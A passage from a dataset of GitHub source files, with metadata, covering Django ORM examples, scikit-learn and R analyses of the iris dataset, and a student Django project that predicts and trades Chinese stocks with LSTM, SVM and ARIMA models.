fields=[\n ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('precio', models.FloatField()),\n ('cantidad', models.PositiveSmallIntegerField()),\n ('nombre', models.CharField(max_length=255)),\n ('cotizacion', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='productos', to='commerce.cotizacion')),\n ],\n ),\n migrations.AddField(\n model_name='cotizacion',\n name='formas_de_pago',\n field=models.ManyToManyField(related_name='cotizaciones', to='commerce.FormaDePago'),\n ),\n migrations.AddField(\n model_name='cotizacion',\n name='para',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='cotizaciones_recibidas', to=settings.AUTH_USER_MODEL),\n ),\n ]\n" }, { "alpha_fraction": 0.7303609251976013, "alphanum_fraction": 0.7367303371429443, "avg_line_length": 30.433332443237305, "blob_id": "724c5d1cb776040c21e3353de3403d9af362e38d", "content_id": "ed985d3008b20fce4c477fd1a023031c780c293a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 942, "license_type": "no_license", "max_line_length": 65, "num_lines": 30, "path": "/books/models.py", "repo_name": "lautarodapin/django-orm-tests", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.db.models import ForeignKey\nfrom django.db.models.aggregates import Count\nfrom django.db.models.deletion import CASCADE\nfrom django.db.models.fields import CharField, DateTimeField\nfrom django.db.models.base import Model\nfrom django.db.models.expressions import F\n\nclass BookQuerySet(models.QuerySet):\n def author_books(self):\n return self.annotate(author_books=Count('author__books'))\n\n def author_name(self):\n return self.annotate(author_name=F('author__name'))\n\n def amount(self):\n return self.aggregate(amount=Count('id'))\n\n\nclass BookManager(models.Manager.from_queryset(BookQuerySet)):\n def get_queryset(self):\n return super().get_queryset()\n\nclass Author(Model):\n name = CharField(max_length=255)\n\nclass Book(Model):\n custom_objects = BookManager()\n name = CharField(max_length=255)\n author = ForeignKey(Author, CASCADE, related_name='books')" }, { "alpha_fraction": 0.7156398296356201, "alphanum_fraction": 0.7156398296356201, "avg_line_length": 27.16666603088379, "blob_id": "13b0a43a4f9fc6cdcd081c2929b138491282f1fd", "content_id": "d8f991a0622ec0e7e89ea774883ee33d68ebc1d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 844, "license_type": "no_license", "max_line_length": 78, "num_lines": 30, "path": "/commerce/admin.py", "repo_name": "lautarodapin/django-orm-tests", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import FormaDePago, Producto, Cotizacion, ProductoCotizado, Venta\n\n\[email protected](FormaDePago)\nclass FormaDePagoAdmin(admin.ModelAdmin):\n list_display = ('id', 'multiplicador', 'valor')\n\n\[email protected](Producto)\nclass ProductoAdmin(admin.ModelAdmin):\n list_display = ('id', 'nombre', 'precio')\n\n\[email protected](Cotizacion)\nclass CotizacionAdmin(admin.ModelAdmin):\n list_display = ('id',)\n raw_id_fields = ('formas_de_pago',)\n\n\[email protected](ProductoCotizado)\nclass ProductoCotizadoAdmin(admin.ModelAdmin):\n list_display = ('id', 'cotizacion', 'precio', 'cantidad', 'nombre')\n list_filter = ('cotizacion',)\n\n\[email protected](Venta)\nclass VentaAdmin(admin.ModelAdmin):\n list_display = ('id', 'cotizacion', 'forma_de_pago')\n list_filter = ('cotizacion', 'forma_de_pago')" } ]
6
Life-According-to-Jordan/iris
https://github.com/Life-According-to-Jordan/iris
1d02c3c80022ecbed85fdd07abd89bbce9957a3c
88374ebfb6643c9c9a5d04f7ef9b10786e5ac507
ab66747436f0b1b1e9a9eb570a7a9860ce56d641
refs/heads/master
2021-04-26T21:52:47.314140
2018-04-17T16:32:51
2018-04-17T16:32:51
124,169,929
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6045606136322021, "alphanum_fraction": 0.6751946806907654, "avg_line_length": 33.57692337036133, "blob_id": "2eab7942e4f9ba88d9a0ab03ccff97c82c31534d", "content_id": "8c9898f0e4e397e943b76c561f0e5ed5346b3516", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1798, "license_type": "no_license", "max_line_length": 94, "num_lines": 52, "path": "/iris.ml.py", "repo_name": "Life-According-to-Jordan/iris", "src_encoding": "UTF-8", "text": "from sklearn import tree\nfrom sklearn.svm import SVC\nfrom sklearn.linear_model import Perceptron\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.metrics import accuracy_score\nimport numpy as np\n\n# Data and labels\n#[Sepal.Length, Sepal.Width, Petal.Length,Petal.Width]\nX = [[5.1, 3.5, 1.4, 0.2], [4.9,3,1.4,0.2], [4.7,3.2,1.3,0.2],[4.6,3.1,1.5,0.2],[5,3.6,1.4,2],\n\t[7,3.2,4.7,1.4],[6.4,3.2,4.5,1.5], [6.9,3.1,4.9,1.5], [5.5,2.3,4,1.3],[6.5,2.8,4.6,1.5],\n\t[6.3,3.3, 6,2.5],[5.8,2.7, 5.1,1.9],[7.1,3,5.9,2.1], [6.3,2.9, 5.6,1.8],[6.5,3,5.8,2.2]]\n\n\nY = ['setosa', 'setosa', 'setosa', 'setosa', 'setosa',\n\t 'versicolor', 'versicolor', 'versicolorle', 'versicolor', 'versicolorle',\n\t 'virginica', 'virginica','virginica','virginica','virginica']\n\n# Classifiers\n# using the default values for all the hyperparameters\nclf_tree = tree.DecisionTreeClassifier()\nclf_svm = SVC()\nclf_perceptron = Perceptron()\nclf_KNN = KNeighborsClassifier()\n\n# Training the models\nclf_tree.fit(X, Y)\nclf_svm.fit(X, Y)\nclf_perceptron.fit(X, Y)\nclf_KNN.fit(X, Y)\n\n# Testing using the same data\npred_tree = clf_tree.predict(X)\nacc_tree = accuracy_score(Y, pred_tree) * 100\nprint('Accuracy for DecisionTree: {}'.format(acc_tree))\n\npred_svm = clf_svm.predict(X)\nacc_svm = accuracy_score(Y, pred_svm) * 100\nprint('Accuracy for SVM: {}'.format(acc_svm))\n\npred_per = clf_perceptron.predict(X)\nacc_per = accuracy_score(Y, pred_per) * 100\nprint('Accuracy for perceptron: {}'.format(acc_per))\n\npred_KNN = clf_KNN.predict(X)\nacc_KNN = accuracy_score(Y, pred_KNN) * 100\nprint('Accuracy for KNN: {}'.format(acc_KNN))\n\n# The best classifier from svm, per, KNN\nindex = np.argmax([acc_svm, acc_per, acc_KNN])\nclassifiers = {0: 'SVM', 1: 'Perceptron', 2: 'KNN'}\nprint('Best species classifier is {}'.format(classifiers[index]))\n" }, { "alpha_fraction": 0.6492248177528381, "alphanum_fraction": 0.6763566136360168, "avg_line_length": 18.11111068725586, "blob_id": "206c7730dacc011a95525844c0d5683383f80bd6", "content_id": "737bafb51e019f6610ea979904c1d7af7bb28849", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "RMarkdown", "length_bytes": 516, "license_type": "no_license", "max_line_length": 208, "num_lines": 27, "path": "/simple.pca.iris.Rmd", "repo_name": "Life-According-to-Jordan/iris", "src_encoding": "UTF-8", "text": "---\ntitle: \"PCA_iris\"\nauthor: \"Jordan Hoehne\"\ndate: \"4/9/2018\"\noutput: word_document\n---\n\n```{r}\n#load data\niris<-iris\n```\n\n```{r}\n#matrix of scatterplots\npairs(iris[, -5], col = iris[, 5], pch = 19)\n```\n\n```{r}\nirispca<-princomp(iris[-5])\nsummary(irispca)\n```\nThe variance of the data is seen in the cumulative proportion under each component. Thus, the first component can explain 92.4% of the variance and for each component after, more of the variance is explained.\n\n```{r}\n#extract factors in pca\nirispca$loadings\n```\n" }, { "alpha_fraction": 0.7523148059844971, "alphanum_fraction": 0.7592592835426331, "avg_line_length": 29.785715103149414, "blob_id": "db2ca854e5908141f81be47cbed0da5157a7e7b1", "content_id": "b711da828029a5ef84a2f7594228e06386e011e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 432, "license_type": "no_license", "max_line_length": 65, "num_lines": 14, "path": "/iris.clustering.R", "repo_name": "Life-According-to-Jordan/iris", "src_encoding": "UTF-8", "text": "#read iris data set \niris<-read.csv(\"iris.csv\")\n#create 2nd data frame \niris.features<-iris\n#remove names from iris.features \niris.features$Name <- NULL\n#use kmeans clustering analysis \nresults <- kmeans(iris.features, 3)\n#view results from algorithm \nresults\n#which species lie in which cluster \ntable(iris$Name, results$cluster)\n#visualization of our 3 slusters \nplot(iris[c(\"SepalLength\", \"SepalWidth\")], col = results$cluster)\n " }, { "alpha_fraction": 0.5134854912757874, "alphanum_fraction": 0.634854793548584, "avg_line_length": 36.07692337036133, "blob_id": "db198429a3e6e2f9b3dddec57f992cc3b2b3433a", "content_id": "b583547c0edbb77831a86cc064f3a2d31d1cff92", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 964, "license_type": "no_license", "max_line_length": 94, "num_lines": 26, "path": "/predict.py", "repo_name": "Life-According-to-Jordan/iris", "src_encoding": "UTF-8", "text": "#import scikit and specify the module we want to import\nfrom sklearn import tree\n\n#clf as Decision Tree \nclf = tree.DecisionTreeClassifier()\n\n#X is a list of lists (a text string)\n#[Sepal.Length, Sepal.Width, Petal.Length,Petal.Width]\nX = [[5.1, 3.5, 1.4, 0.2], [4.9,3,1.4,0.2], [4.7,3.2,1.3,0.2],[4.6,3.1,1.5,0.2],[5,3.6,1.4,2],\n\t[7,3.2,4.7,1.4],[6.4,3.2,4.5,1.5], [6.9,3.1,4.9,1.5], [5.5,2.3,4,1.3],[6.5,2.8,4.6,1.5],\n\t[6.3,3.3, 6,2.5],[5.8,2.7, 5.1,1.9],[7.1,3,5.9,2.1], [6.3,2.9, 5.6,1.8],[6.5,3,5.8,2.2]]\n\n#labeled data \nY = ['setosa', 'setosa', 'setosa', 'setosa', 'setosa',\n\t 'versicolor', 'versicolor', 'versicolorle', 'versicolor', 'versicolorle',\n\t 'virginica', 'virginica','virginica','virginica','virginica']\n\n\n#fit/trains the model on our sample data \nclf = clf.fit(X, Y)\n\n#store our prediction to determine whether the parameters entered are either male or female. \nprediction = clf.predict([[6, 4, 4, 1.5]])\n\n#print our prediction\nprint(prediction)\n" }, { "alpha_fraction": 0.6898954510688782, "alphanum_fraction": 0.7026712894439697, "avg_line_length": 28.689655303955078, "blob_id": "755002569855224b3c6da3de426571ee1cc2d40a", "content_id": "26804f9e80c39f99ec70d9fda327c6dea8e3e017", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 861, "license_type": "no_license", "max_line_length": 90, "num_lines": 29, "path": "/iris.optimization.R", "repo_name": "Life-According-to-Jordan/iris", "src_encoding": "UTF-8", "text": "library(nloptr)\n# Our objective function\nobjfun <- function(beta,y,X) {\n return (sum((y-X%*%beta)^2))\n # equivalently, if we want to use matrix algebra:\n # return ( crossprod(y-X%*%beta) )\n}\n\n## Gradient of our objective function\ngradient <- function(beta,y,X) {\n return ( as.vector(-2*t(X)%*%(y-X%*%beta)) )\n}\n\n## read in the data\ny <- iris$Sepal.Length\nX <- model.matrix(~Sepal.Width+Petal.Length+Petal.Width+Species,iris)\n\n## initial values\nbeta0 <- runif(dim(X)[2]) #start at uniform random numbers equal to number of coefficients\n\n## Algorithm parameters\noptions <- list(\"algorithm\"=\"NLOPT_LD_LBFGS\",\"xtol_rel\"=1.0e-6,\"maxeval\"=1e3)\n\n## Optimize!\nresult <- nloptr( x0=beta0,eval_f=objfun,eval_grad_f=gradient,opts=options,y=y,X=X)\nprint(result)\n\n## Check solution\nprint(summary(lm(Sepal.Length~Sepal.Width+Petal.Length+Petal.Width+Species,data=iris)))\n" }, { "alpha_fraction": 0.7050847411155701, "alphanum_fraction": 0.7288135886192322, "avg_line_length": 14.421052932739258, "blob_id": "6759b3b1c2c226f80db18402b0c02c4ad65cd460", "content_id": "915f203482c0c49e5a5794c5bae381c6d9164290", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 295, "license_type": "no_license", "max_line_length": 62, "num_lines": 19, "path": "/README.md", "repo_name": "Life-According-to-Jordan/iris", "src_encoding": "UTF-8", "text": "# iris\n\nI'm going to be working on the iris data set in my free time. \n\n### Python \n1. Decision Tree Classifier\n\n2. Best Machine Learning Packages \n \n3. Cross-Validation with SVM\n\n4. Iris Visualization with Seaborn\n\n### R\n1. Gradient Descent Optimization\n\n2. Kmeans Clustering\n\n3. Simple PCA \n\n" } ]
6
fangyiwen/EECSE6895-Project-AI-Trader
https://github.com/fangyiwen/EECSE6895-Project-AI-Trader
482de00f7e5d2cf68920ebeaa366e8caf2e3bc7e
bc60c43fb4e6aba3b08edd575f962e69d5f3a61d
15c69d33da353b42c6b74dde24e065fe2a0a8765
refs/heads/master
2023-04-20T17:34:12.538004
2021-05-03T06:57:45
2021-05-03T06:57:45
354,090,984
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.491012305021286, "alphanum_fraction": 0.491012305021286, "avg_line_length": 50.56097412109375, "blob_id": "b3267506d1b34430e1f8b1feb2be0064692df338", "content_id": "d624d2e123d6a3498d1601f8dfc81437ce3637f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2114, "license_type": "no_license", "max_line_length": 79, "num_lines": 41, "path": "/mysite/aitrader/urls.py", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "from django.urls import path\n\nfrom . import views\n\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('select_stock/', views.select_stock,\n name='select_stock'),\n path('train_stock/', views.train_stock,\n name='train_stock'),\n path('trade_stock_lstm/<str:stock_id>/',\n views.trade_stock_lstm, name='trade_stock_lstm'),\n path('trade_stock_svm/<str:stock_id>/',\n views.trade_stock_svm, name='trade_stock_svm'),\n path('trade_stock_arima/<str:stock_id>/',\n views.trade_stock_arima, name='trade_stock_arima'),\n path('trade_stock_integration/<str:stock_id>/',\n views.trade_stock_integration,\n name='trade_stock_integration'),\n path('trade_run_lstm/<str:stock_id>/<str:initial_balance>/',\n views.trade_run_lstm, name='trade_run_lstm'),\n path('trade_run_svm/<str:stock_id>/',\n views.trade_run_svm, name='trade_run_svm'),\n path('trade_run_arima/<str:stock_id>/<str:initial_balance>/',\n views.trade_run_arima, name='trade_run_arima'),\n path('trade_run_integration/<str:stock_id>/',\n views.trade_run_integration,\n name='trade_run_integration'),\n path('train_lstm/<str:stock_id>/',\n views.train_lstm, name='train_lstm'),\n path('train_svm/<str:stock_id>/',\n views.train_svm, name='train_svm'),\n path('train_arima/<str:stock_id>/',\n views.train_arima, name='train_arima'),\n path('stock_all/',\n views.stock_all, name='stock_all')\n ] + static(settings.STATIC_URL,\n document_root=settings.STATIC_ROOT)\n" }, { "alpha_fraction": 0.5676549673080444, "alphanum_fraction": 0.5811320543289185, "avg_line_length": 36.85714340209961, "blob_id": "f65c973c640ec2a4cc0956b6e1532e2d75728358", "content_id": "c8f4ae5d06c3d28f3bb1bedd4ea336e1f92c350a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1855, "license_type": "no_license", "max_line_length": 79, "num_lines": 49, "path": "/mysite/aitrader/myfolder/lstm/trade.py", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "# coding:utf-8\nimport csv\n\n\ndef maxProfit(stockcode, balance):\n root_path = \"./aitrader/myfolder/lstm/\"\n\n # prediction_result=str(stockcode)+'//solution//prediction_result.txt'\n prediction_result = root_path + str(\n stockcode) + '/solution/prediction_result.txt'\n f = open(prediction_result, encoding=\"utf-8\")\n lines = f.readlines()\n prices = lines[0].strip().split(\"\\t\")\n print(prices)\n operations = [\"hold\"] * len(prices)\n\n profit = 0\n for i in range(0, len(prices) - 1):\n if float(prices[i + 1]) >= float(prices[i]):\n profit = profit + float(prices[i + 1]) - float(prices[i])\n if operations.count(\"buy\") > operations.count(\"sell\"):\n operations[i] = \"hold\"\n elif operations.count(\"buy\") == operations.count(\n \"sell\") and balance >= float(prices[i]) * 100:\n operations[i] = \"buy\"\n elif float(prices[i + 1]) < float(prices[i]):\n if operations.count(\"buy\") > operations.count(\"sell\"):\n operations[i] = \"sell\"\n elif operations.count(\"buy\") == operations.count(\"sell\"):\n operations[i] = \"hold\"\n\n if operations[-1] == \"hold\" and operations.count(\"buy\") > operations.count(\n \"sell\"):\n operations[-1] = \"sell\"\n\n week_profit = float(balance // (float(prices[i]) * 100)) * profit * 100\n print(week_profit, balance + week_profit)\n print(operations)\n\n list = [[\"day1\", \"day2\", \"day3\", \"day4\", \"day5\"], prices, operations]\n # solution_path=str(stockcode)+'/solution/solution.csv'\n solution_path = root_path + str(stockcode) + '/solution/solution.csv'\n f = open(solution_path, 'w', newline='')\n writer = csv.writer(f)\n for i in list:\n writer.writerow(i)\n f.close()\n\n return operations, week_profit, balance + week_profit\n" }, { "alpha_fraction": 0.5312038064002991, "alphanum_fraction": 0.547175407409668, "avg_line_length": 31.509614944458008, "blob_id": "ad3674183f3dfc16692506c013a7ce8ae96c25a2", "content_id": "182d66b805fdf3bfdbf11b53490c37a5159e17e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3381, "license_type": "no_license", "max_line_length": 91, "num_lines": 104, "path": "/mysite/aitrader/myfolder/integration/ThreeModelsTrade.py", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "# coding:utf-8\nimport csv\nimport os\n\nroot_path = \"./aitrader/myfolder/\"\n\n\ndef ModelsTrade(stockcode):\n LSTM_result = root_path + 'lstm//' + str(\n stockcode) + '//solution//prediction_result.txt'\n SVM_result = root_path + 'svm//' + str(stockcode) + '//solution//prediction_result.txt'\n ARIMA_result = root_path + 'arima//' + str(\n stockcode) + '//solution//prediction_result.txt'\n solution_path = root_path + 'integration//' + str(\n stockcode) + '//solution//solution_3models.csv'\n\n def GetTrends(file_path):\n trends = []\n f = open(file_path, encoding=\"utf-8\")\n lines = f.readlines()\n prices = lines[0].strip().split(\"\\t\")\n trends.append(int(lines[1]))\n\n for i in range(1, len(prices)):\n if prices[i] > prices[i - 1]:\n trends.append(int(\"1\"))\n elif prices[i] == prices[i - 1]:\n trends.append(int(\"0\"))\n elif prices[i] < prices[i - 1]:\n trends.append(int(\"-1\"))\n\n return trends\n\n trends_LSTM = GetTrends(LSTM_result)\n\n f_SVM = open(SVM_result, encoding=\"utf-8\")\n text_SVM = f_SVM.read()\n trends_SVM = text_SVM.strip().split(\"\\t\")\n\n trends_ARIMA = GetTrends(ARIMA_result)\n\n day = 0\n final_Trend = []\n\n while (day < 5):\n temp = []\n temp.append(trends_LSTM[day])\n temp.append(round(float(trends_SVM[day])))\n temp.append(trends_ARIMA[day])\n\n output = 0\n if temp.count(1) > temp.count(-1):\n if temp.count(1) > temp.count(0):\n output = 1\n elif temp.count(\"1\") < temp.count(0):\n output = 0\n elif temp.count(-1) > temp.count(1):\n if temp.count(-1) > temp.count(0):\n output = -1\n elif temp.count(-1) < temp.count(0):\n output = 0\n final_Trend.append(output)\n day = day + 1\n\n operations = []\n\n for i in range(0, len(final_Trend) - 1):\n if final_Trend[i + 1] >= 0 and operations.count(\n \"buy\") > operations.count(\"sell\"):\n operations.append(\"hold\")\n elif final_Trend[i + 1] > 0 and operations.count(\n \"buy\") == operations.count(\"sell\"):\n operations.append(\"buy\")\n elif final_Trend[i + 1] < 0 and operations.count(\n \"buy\") > operations.count(\"sell\"):\n operations.append(\"sell\")\n elif final_Trend[i] < 0 and operations.count(\"buy\") == operations.count(\n \"sell\"):\n operations.append(\"hold\")\n else:\n operations.append(\"hold\")\n\n if operations.count(\"buy\") == operations.count(\"sell\"):\n operations.append(\"hold\")\n elif operations.count(\"buy\") > operations.count(\"sell\"):\n operations.append(\"sell\")\n\n list = [[\"day1\", \"day2\", \"day3\", \"day4\", \"day5\"], operations]\n\n isExists = os.path.exists(root_path + 'integration//' + str(stockcode) + '//solution')\n if not isExists:\n os.makedirs(root_path + 'integration//' + str(stockcode) + '//solution')\n\n # solution_path='ARIMA//'+str(stockcode)+'//solution//solution_3models.csv'\n\n f = open(solution_path, 'w', newline='')\n writer = csv.writer(f)\n for i in list:\n writer.writerow(i)\n f.close()\n\n return trends_LSTM, trends_SVM, trends_ARIMA, final_Trend, operations\n\n# ModelsTrade(600519)\n" }, { "alpha_fraction": 0.5602331757545471, "alphanum_fraction": 0.5705958604812622, "avg_line_length": 32.565216064453125, "blob_id": "531adee56adb247d17d1f2d1cafd9966f025e776", "content_id": "2c3607aa05ed07eec30f522f95eb4edeaf8ee0b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1544, "license_type": "no_license", "max_line_length": 75, "num_lines": 46, "path": "/mysite/aitrader/myfolder/svm/trade.py", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "# coding:utf-8\nimport csv\n\n\ndef maxProfit(stockcode):\n root_path = \"./aitrader/myfolder/svm/\"\n\n prediction_result = root_path + str(\n stockcode) + '//solution//prediction_result.txt'\n f = open(prediction_result, encoding=\"utf-8\")\n text = f.read()\n trends = text.strip().split(\"\\t\")\n print(trends)\n\n operations = []\n\n for i in range(0, len(trends) - 1):\n if round(float(trends[i + 1])) >= 0 and operations.count(\n \"buy\") > operations.count(\"sell\"):\n operations.append(\"hold\")\n elif round(float(trends[i + 1])) > 0 and operations.count(\n \"buy\") == operations.count(\"sell\"):\n operations.append(\"buy\")\n elif round(float(trends[i + 1])) < 0 and operations.count(\n \"buy\") > operations.count(\"sell\"):\n operations.append(\"sell\")\n elif round(float(trends[i])) < 0 and operations.count(\n \"buy\") == operations.count(\"sell\"):\n operations.append(\"hold\")\n else:\n operations.append(\"hold\")\n\n if operations.count(\"buy\") == operations.count(\"sell\"):\n operations.append(\"hold\")\n elif operations.count(\"buy\") > operations.count(\"sell\"):\n operations.append(\"sell\")\n\n list = [[\"day1\", \"day2\", \"day3\", \"day4\", \"day5\"], operations]\n solution_path = root_path + str(stockcode) + '//solution//solution.csv'\n f = open(solution_path, 'w', newline='')\n writer = csv.writer(f)\n for i in list:\n writer.writerow(i)\n f.close()\n\n return operations\n" }, { "alpha_fraction": 0.39137381315231323, "alphanum_fraction": 0.5535143613815308, "avg_line_length": 36.93939208984375, "blob_id": "6949fc843fb602d948263aa6d27dfecc24b68b7a", "content_id": "33e912896575983d577263e978f216f91886f068", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1252, "license_type": "no_license", "max_line_length": 77, "num_lines": 33, "path": "/Utility Scripts/Batch_train_http.py", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "import requests\nimport threading\nimport datetime\n\n\ndef auto_update():\n print(datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S.%f\")[:-3])\n\n root_url = \"http://127.0.0.1:8000/aitrader\"\n\n # ticker_list = ['600519.SS', '601398.SS', '600036.SS', '601288.SS',\n # '601318.SS', '601988.SS', '601857.SS', '601628.SS',\n # '601888.SS', '603288.SS', '600000.SS', '600004.SS',\n # '600006.SS', '600007.SS', '600008.SS', '600009.SS',\n # '600010.SS', '600011.SS', '600012.SS', '600015.SS']\n\n ticker_list = ['600519.SS', '601398.SS', '600036.SS', '601288.SS',\n '601318.SS', '601988.SS', '601857.SS', '601628.SS',\n '601888.SS', '603288.SS']\n\n # add_stock_list = ['600012.SS', '600015.SS']\n\n def train_helper(ticker, model):\n requests.get(url=root_url + \"/train_\" + model + \"/\" + ticker + \"/\")\n\n for ticker in ticker_list:\n threading.Thread(target=train_helper, args=(ticker, 'lstm')).start()\n threading.Thread(target=train_helper, args=(ticker, 'svm')).start()\n threading.Thread(target=train_helper, args=(ticker, 'arima')).start()\n print(\"Training \" + ticker + \": LSTM, SVM, ARIMA\")\n\n\nauto_update()\n" }, { "alpha_fraction": 0.48390522599220276, "alphanum_fraction": 0.49432533979415894, "avg_line_length": 42.29597854614258, "blob_id": "ff8a3094e22d0c748f07c846cc77bb7a461ae003", "content_id": "29440c39bb69c18e3607f9229051300b39b55b80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15362, "license_type": "no_license", "max_line_length": 132, "num_lines": 348, "path": "/mysite/aitrader/myfolder/lstm/lstm_model.py", "repo_name": "fangyiwen/EECSE6895-Project-AI-Trader", "src_encoding": "UTF-8", "text": "import numpy as np\nimport matplotlib\n\nmatplotlib.use('agg')\nimport matplotlib.pyplot as plt\nimport tensorflow.compat.v1 as tf\n\ntf.disable_v2_behavior()\nimport pandas as pd\nimport math\nimport os\nimport json\n\n\ndef run_lstm_model(stockcode, invoke_from_http=True):\n root_path = \"./aitrader/myfolder/lstm/\"\n number_of_iterations = 200\n # number_of_iterations = 5\n\n if not invoke_from_http:\n root_path = \"../mysite/aitrader/myfolder/lstm/\"\n\n def LSTMtest(data):\n tf.reset_default_graph() # clear the computation graph\n n1 = data.shape[1] - 1 # because the last column is label\n n2 = len(data)\n print(n1, n2)\n\n # Set constant\n input_size = n1 # number of input neurons\n rnn_unit = 7 # number of neurons in the LSTM unit (a layer of neural network)\n lstm_layers = 2 # number of LSTM units\n output_size = 1 # number of output neurons(prediction)\n lr = 0.0006 # learning rate\n\n train_end_index = math.floor(n2 * 0.9) # Round down\n print('train_end_index', train_end_index)\n\n # The first 90% of the data is used as the training set, and the last 10% is used as the test set\n\n # Training Set\n # time_step: time step,batch_size: how many examples are trained in each batch\n def get_train_data(batch_size=60, time_step=20, train_begin=0,\n train_end=train_end_index):\n batch_index = []\n data_train = data[train_begin:train_end]\n normalized_train_data = (data_train - np.mean(data_train,\n axis=0)) / np.std(\n data_train, axis=0)\n\n normalized_train_data = normalized_train_data.values\n\n train_x, train_y = [], [] # training set\n for i in range(len(normalized_train_data) - time_step):\n if i % batch_size == 0:\n # start\n batch_index.append(i)\n # Get time_step rows data at one time\n # x stores the input dimension (not including label, the last one is not taken)\n # Standardization (normalization)\n x = normalized_train_data[i:i + time_step, :n1]\n\n # y store label\n y = normalized_train_data[i:i + time_step, n1, np.newaxis]\n # np.newaxis is to increase the dimension in the row or column respectively\n train_x.append(x.tolist())\n train_y.append(y.tolist())\n # end\n batch_index.append((len(normalized_train_data) - time_step))\n print('batch_index', batch_index)\n # print('train_x', train_x)\n # print('train_y', train_y)\n return batch_index, train_x, train_y\n\n # Test set\n def get_test_data(time_step=20, test_begin=train_end_index + 1):\n data_test = original[test_begin:]\n mean = np.mean(data_test, axis=0)\n std = np.std(data_test, axis=0) # Matrix standard deviation\n # Standardization (normalization)\n normalized_test_data = (data_test - np.mean(data_test,\n axis=0)) / np.std(\n data_test, axis=0)\n\n normalized_test_data = normalized_test_data.values\n # There are size samples\n test_size = (len(normalized_test_data) + time_step - 1) // time_step\n print('test_size', test_size)\n test_x, test_y = [], []\n\n j = test_size - 2\n for i in range(test_size - 1):\n x = normalized_test_data[i * time_step:(i + 1) * time_step, :n1]\n y = normalized_test_data[i * time_step:(i + 1) * time_step, n1]\n test_x.append(x.tolist())\n test_y.extend(y)\n test_x.append(\n (normalized_test_data[(j + 1) * time_step:, :n1]).tolist())\n test_y.extend(\n (normalized_test_data[(j + 1) * time_step:, n1]).tolist())\n return mean, std, test_x, test_y\n\n # ——————————————————Define neural network variables——————————————————\n # Input layer, output layer weights, bias, dropout parameters\n # Randomly generate w,b\n weights = {\n 'in': tf.Variable(tf.random.normal([input_size, rnn_unit])),\n 'out': tf.Variable(tf.random.normal([rnn_unit, 1]))\n }\n biases = {\n 'in': tf.Variable(tf.constant(0.1, shape=[rnn_unit, ])),\n 'out': tf.Variable(tf.constant(0.1, shape=[1, ]))\n }\n keep_prob = tf.placeholder(tf.float32,\n name='keep_prob') # dropout prevents overfitting\n\n # ——————————————————Define the neural network——————————————————\n def lstmCell():\n basicLstm = tf.nn.rnn_cell.BasicLSTMCell(rnn_unit, forget_bias=1.0,\n state_is_tuple=True)\n drop = tf.nn.rnn_cell.DropoutWrapper(basicLstm,\n output_keep_prob=keep_prob)\n return basicLstm\n\n def lstm(X): # Parameters: Enter the number of network batches\n batch_size = tf.shape(X)[0]\n time_step = tf.shape(X)[1]\n w_in = weights['in']\n b_in = biases['in']\n\n # Forgetting gate (input gate)\n input = tf.reshape(X, [-1, input_size])\n input_rnn = tf.matmul(input, w_in) + b_in\n input_rnn = tf.reshape(input_rnn, [-1, time_step, rnn_unit])\n print('input_rnn', input_rnn)\n\n # Update gate\n # Build multi-layer lstm\n cell = tf.nn.rnn_cell.MultiRNNCell(\n [lstmCell() for i in range(lstm_layers)])\n init_state = cell.zero_state(batch_size, dtype=tf.float32)\n\n # output gate\n w_out = weights['out']\n b_out = biases['out']\n # output_rnn is the output of each step of the last layer, and final_states is the output of the last step of each layer\n output_rnn, final_states = tf.nn.dynamic_rnn(cell, input_rnn,\n initial_state=init_state,\n dtype=tf.float32)\n output = tf.reshape(output_rnn, [-1, rnn_unit])\n # The output value is also used as the input of the input gate of the next layer\n pred = tf.matmul(output, w_out) + b_out\n return pred, final_states\n\n # ————————————————training model————————————————————\n def train_lstm(batch_size=60, time_step=20, train_begin=0,\n train_end=train_end_index):\n X = tf.placeholder(tf.float32, shape=[None, time_step, input_size])\n Y = tf.placeholder(tf.float32, shape=[None, time_step, output_size])\n batch_index, train_x, train_y = get_train_data(batch_size,\n time_step,\n train_begin,\n train_end)\n with tf.variable_scope(\"sec_lstm\"):\n pred, state_ = lstm(X)\n print('pred,state_', pred, state_)\n\n # loss function\n loss = tf.reduce_mean(\n tf.square(tf.reshape(pred, [-1]) - tf.reshape(Y, [-1])))\n train_op = tf.train.AdamOptimizer(lr).minimize(loss)\n saver = tf.train.Saver(tf.global_variables(), max_to_keep=15)\n\n 